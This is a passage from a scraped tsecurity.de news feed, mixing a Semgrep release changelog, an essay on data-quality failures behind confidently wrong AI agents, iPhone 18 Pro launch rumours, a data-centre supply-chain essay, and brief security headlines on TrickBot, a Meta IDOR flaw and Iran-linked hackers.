that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Release v1.171.0]]></title>
<description><![CDATA[1.171.0 - 2026-07-22
### Added

Added support for the OpenTofu .tofu file extension. Because OpenTofu uses the same HCL grammar as Terraform, .tofu files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. p/terraform) wit...]]></description>
<link>https://tsecurity.de/de/3687763/it-security-tools/release-v11710/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687763/it-security-tools/release-v11710/</guid>
<pubDate>Thu, 23 Jul 2026 01:20:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.171.0">1.171.0</a> - 2026-07-22</h2>
<h3>### Added</h3>
<ul>
<li>Added support for the OpenTofu <code>.tofu</code> file extension. Because OpenTofu uses the same HCL grammar as Terraform, <code>.tofu</code> files are now automatically detected and scanned as Terraform, so they are picked up by recursive scans and Terraform rulesets (e.g. <code>p/terraform</code>) with no extra configuration. (ENGINE-2884)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>The window for collecting git contributor information during <code>semgrep ci</code> has been extended from the last 30 days to the last 90 days, to match the updated usage policy. (contributor-window-90-days)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>Fixed a source of rare, nondeterministic crashes and incorrect results caused<br>
by an OCaml compiler bug. Semgrep now builds against a compiler fork that<br>
backports the upstream fix. (ocaml_codegen_fix)</li>
<li>Fixed excessive heap growth after explicit major garbage collections. Semgrep<br>
now builds against an OCaml compiler that improves garbage collection duty<br>
cycle pacing. (ocaml_gc_pacing_fix)</li>
<li>Improved the <code>Scan Status</code> output when no code rules will run (e.g. a<br>
Secrets-only or Supply-Chain-only scan). The summary line no longer reports a<br>
confusing "0 Code rules", and the "Code Rules" section now states explicitly<br>
either that code scanning is not enabled or that there are no code rules to run,<br>
instead of printing an empty table. (ENGINE-2878)</li>
<li>Fixed lockfileless Gradle dependency resolution failing with "Parsing<br>
dependency output failed (Resolve_gradle.gradle_resolved_dependency)". The<br>
github-dependency-graph-gradle-plugin used during resolution was fetched<br>
unpinned, and its 1.4.2 release renamed keys in its JSON output. The plugin is<br>
now pinned to 1.4.1. (sc-3738)</li>
</ul>]]></content:encoded>
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<title><![CDATA[Why Lettuce Is Always Making People Sick]]></title>
<description><![CDATA[The cyclospora diarrhea outbreak isn't an isolated incident. It's part of a pattern of leafy greens wreaking digestive havoc.]]></description>
<link>https://tsecurity.de/de/3687651/it-nachrichten/why-lettuce-is-always-making-people-sick/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687651/it-nachrichten/why-lettuce-is-always-making-people-sick/</guid>
<pubDate>Wed, 22 Jul 2026 23:47:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The cyclospora diarrhea outbreak isn't an isolated incident. It's part of a pattern of leafy greens wreaking digestive havoc.]]></content:encoded>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[iPhone 18 Pro Release Date: Here’s Exactly When Apple Is Expected to Launch It]]></title>
<description><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the sec...]]></description>
<link>https://tsecurity.de/de/3687150/ios-mac-os/iphone-18-pro-release-date-heres-exactly-when-apple-is-expected-to-launch-it/</link>
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<pubDate>Wed, 22 Jul 2026 19:26:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is expected to unveil the iPhone 18 Pro this September, continuing its long-running tradition of launching new flagship iPhones in the fall. While the company has not confirmed an official date yet, multiple reports and Apple's previous launch history point to an announcement during the second week of September.



This year could also bring one of the biggest changes to Apple's iPhone launch strategy. Instead of releasing the entire iPhone 18 lineup together, reports suggest Apple will focus on its premium models first, with the standard iPhone 18 arriving several months later in early 2027.



When will Apple announce the iPhone 18 Pro?



Apple has followed a very consistent launch schedule over the past several years.



Here are the recent iPhone announcement dates:



iPhoneAnnouncement DateiPhone 17September 9, 2025iPhone 16September 9, 2024iPhone 15September 12, 2023



Based on this pattern, industry watchers expect Apple to hold its iPhone 18 event on either:




Wednesday, September 9, 2026



Monday, September 14, 2026




The slight uncertainty comes from the Labor Day calendar this year, which falls later than usual. Apple often schedules its iPhone event shortly after the holiday, making both dates realistic possibilities.



Expected iPhone 18 Pro release date



Apple usually opens pre-orders on the Friday after announcing new iPhones, followed by retail availability one week later.



If Apple announces the iPhone 18 lineup on September 9, the expected schedule would be:



EventExpected DateAnnouncementSeptember 9Pre-ordersSeptember 11ReleaseSeptember 18



If Apple chooses September 14 instead, the schedule would likely be:



EventExpected DateAnnouncementSeptember 14Pre-ordersSeptember 18ReleaseSeptember 25



Unless Apple changes its usual launch pattern, buyers should expect to receive the iPhone 18 Pro on either September 18 or September 25.



Which iPhone models are expected this fall?



Reports suggest Apple will introduce only its premium devices during the September event.



The expected lineup includes:




iPhone 18 Pro



iPhone 18 Pro Max



iPhone Ultra




There are also mixed reports about a new iPhone Air joining the lineup, although its release timing remains unclear. Meanwhile, the regular iPhone 18 is widely expected to launch in spring 2027 instead of September.



What could be new on the iPhone 18 Pro?







Although Apple has not officially revealed any features, recent leaks point to several notable upgrades.



Expected improvements include:




A new A20 Pro chip built on a 2nm manufacturing process



A smaller Dynamic Island with more Face ID components placed under the display



Camera upgrades, including a possible variable aperture system



Improved battery efficiency



Apple's next-generation C2 modem for better connectivity



New color options for the Pro models




As with all pre-release reports, these features remain rumors until Apple makes an official announcement.



Why is Apple reportedly delaying the standard iPhone 18?



Several reliable reports indicate Apple plans to split its iPhone launches into two seasons. Premium models would continue arriving in September, while the standard iPhone 18 and iPhone 18e would move to spring 2027.



This strategy would allow Apple to give more attention to its high-end devices during the holiday shopping season while creating another major product launch in the first half of the following year.



Expected iPhone 18 Pro launch timeline



Here is the most likely schedule based on current reports:



StageExpected TimingApple eventSeptember 9 or September 14, 2026Pre-ordersSeptember 11 or September 18Official releaseSeptember 18 or September 25Available modelsiPhone 18 Pro, iPhone 18 Pro Max, iPhone Ultra



Wrap Up



Apple has not announced the iPhone 18 Pro release date yet, but its launch history makes early to mid September the strongest prediction. If the company follows its familiar schedule, pre-orders will begin within days of the announcement, and the first devices will reach customers before the end of September.



At the same time, this year's launch could mark the beginning of a new release strategy, with the standard iPhone 18 arriving several months after the Pro models.]]></content:encoded>
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<title><![CDATA[TrickBot Ditches HTTP for DNS Tunneling in Latest Variant]]></title>
<description><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern This article has been indexed from www.infosecurity-magazine.com Read the original article: TrickBot Ditches HTTP for DNS Tunneling in Latest Variant
Read more →
The post TrickBot Ditches HTTP for DN...]]></description>
<link>https://tsecurity.de/de/3686821/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686821/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</guid>
<pubDate>Wed, 22 Jul 2026 17:19:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern This article has been indexed from www.infosecurity-magazine.com Read the original article: TrickBot Ditches HTTP for DNS Tunneling in Latest Variant</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/">TrickBot Ditches HTTP for DNS Tunneling in Latest Variant</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[TrickBot Ditches HTTP for DNS Tunneling in Latest Variant]]></title>
<description><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern]]></description>
<link>https://tsecurity.de/de/3686749/it-security-nachrichten/trickbot-ditches-http-for-dns-tunneling-in-latest-variant/</link>
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<pubDate>Wed, 22 Jul 2026 17:05:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New TrickBot variant hides C2 communication inside DNS queries, replacing decade-old HTTP pattern]]></content:encoded>
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<title><![CDATA[Critical Meta IDOR Flaw Let Attackers Access Customer Support Cases]]></title>
<description><![CDATA[Meta has addressed a critical vulnerability involving broken access control that exposed sensitive customer support data across multiple services. This issue highlighted systemic weaknesses in authorization within their shared backend infrastructure. The flaw, categorized as an Insecure Direct Ob...]]></description>
<link>https://tsecurity.de/de/3686412/it-security-nachrichten/critical-meta-idor-flaw-let-attackers-access-customer-support-cases/</link>
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<pubDate>Wed, 22 Jul 2026 15:13:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta has addressed a critical vulnerability involving broken access control that exposed sensitive customer support data across multiple services. This issue highlighted systemic weaknesses in authorization within their shared backend infrastructure. The flaw, categorized as an Insecure Direct Object Reference…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/critical-meta-idor-flaw-let-attackers-access-customer-support-cases/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/critical-meta-idor-flaw-let-attackers-access-customer-support-cases/">Critical Meta IDOR Flaw Let Attackers Access Customer Support Cases</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Critical Meta IDOR Flaw Let Attackers Access Customer Support Cases]]></title>
<description><![CDATA[Meta has addressed a critical vulnerability involving broken access control that exposed sensitive customer support data across multiple services. This issue highlighted systemic weaknesses in authorization within their shared backend infrastructure. The flaw, categorized as an Insecure Direct Ob...]]></description>
<link>https://tsecurity.de/de/3686350/it-security-nachrichten/critical-meta-idor-flaw-let-attackers-access-customer-support-cases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686350/it-security-nachrichten/critical-meta-idor-flaw-let-attackers-access-customer-support-cases/</guid>
<pubDate>Wed, 22 Jul 2026 14:53:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Meta has addressed a critical vulnerability involving broken access control that exposed sensitive customer support data across multiple services. This issue highlighted systemic weaknesses in authorization within their shared backend infrastructure. The flaw, categorized as an Insecure Direct Object Reference (CWE-639) combined with Broken Access Control (CWE-284) and Missing Authorization (CWE-862), allowed unauthorized users to […]</p>
<p>The post <a href="https://gbhackers.com/critical-meta-idor-flaw/">Critical Meta IDOR Flaw Let Attackers Access Customer Support Cases</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Stop debating frontier AI – start defending against it]]></title>
<description><![CDATA[The Computer Weekly Security Think Tank considers if Anthropic’s Claude Mythos frontier AI model is a benefit or barrier to achieving resilient enterprise IT security, and how security leaders need to adapt.]]></description>
<link>https://tsecurity.de/de/3686303/it-nachrichten/stop-debating-frontier-ai-start-defending-against-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686303/it-nachrichten/stop-debating-frontier-ai-start-defending-against-it/</guid>
<pubDate>Wed, 22 Jul 2026 14:36:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Computer Weekly Security Think Tank considers if Anthropic’s Claude Mythos frontier AI model is a benefit or barrier to achieving resilient enterprise IT security, and how security leaders need to adapt.]]></content:encoded>
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<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why Modern SOCs Need Multi-Layered Detections]]></title>
<description><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely. The CrowdStrike Gl...]]></description>
<link>https://tsecurity.de/de/3686210/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686210/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</guid>
<pubDate>Wed, 22 Jul 2026 13:59:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely. The CrowdStrike Global Threat Report…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/why-modern-socs-need-multi-layered-detections/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/why-modern-socs-need-multi-layered-detections/">Why Modern SOCs Need Multi-Layered Detections</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Why Modern SOCs Need Multi-Layered Detections]]></title>
<description><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely.

The CrowdStrike G...]]></description>
<link>https://tsecurity.de/de/3686147/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686147/it-security-nachrichten/why-modern-socs-need-multi-layered-detections/</guid>
<pubDate>Wed, 22 Jul 2026 13:39:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The cycle is over. For years, cybersecurity followed a familiar pattern: defenses improved, attackers adapted, and the back-and-forth continued. Today, AI-equipped attackers are simply outpacing defenses. Most intrusions now bypass endpoint and malware-based detection entirely.

The CrowdStrike Global Threat Report estimates around 79% of attacks are malware-free, as threat actors rely on]]></content:encoded>
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<title><![CDATA[Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption]]></title>
<description><![CDATA[Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on...]]></description>
<link>https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686021/it-security-nachrichten/iran-linked-hackers-exploit-trusted-access-and-exposed-ot-systems-for-espionage-and-disruption/</guid>
<pubDate>Wed, 22 Jul 2026 13:00:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Iran-linked hackers are quietly building long-term, flexible access into critical networks and exposed operational technology (OT), using trusted pathways to pivot between espionage and selective disruption. Recent reporting on Iran-linked activity shows a consistent pattern, actors focus less on single, spectacular attacks and more on durable footholds in enterprise and industrial environments. This access is […]</p>
<p>The post <a href="https://cyberpress.org/iran-hackers-target-ot-systems/">Iran-Linked Hackers Exploit Trusted Access and Exposed OT Systems for Espionage and Disruption</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Lookout identifies exploitable vulnerabilities in mobile apps]]></title>
<description><![CDATA[Lookout has announced the launch of the Lookout Mobile Software Exposure Center (MSEC). Integrated natively into the Lookout Mobile Endpoint Security platform, MSEC enables organizations to continuously detect, validate, prioritize, and remediate exploitable vulnerabilities across their mobile so...]]></description>
<link>https://tsecurity.de/de/3685990/it-security-nachrichten/lookout-identifies-exploitable-vulnerabilities-in-mobile-apps/</link>
